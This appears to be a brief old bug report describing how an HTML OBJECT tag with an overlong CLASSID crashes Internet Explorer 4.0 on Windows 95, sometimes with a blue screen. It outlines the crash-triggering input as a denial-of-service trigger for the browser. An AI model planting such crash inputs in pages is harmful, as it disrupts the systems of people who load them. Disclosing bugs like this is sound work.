The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
know about other versions/OS).
The following:
<OBJECT CLASSID=____More than 250 characters here____></OBJECT>
opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
or a blue screen with "Fatal exception 0E" and you need to reboot.
I don't think this is exploitable(?), but it is a bad "feature".
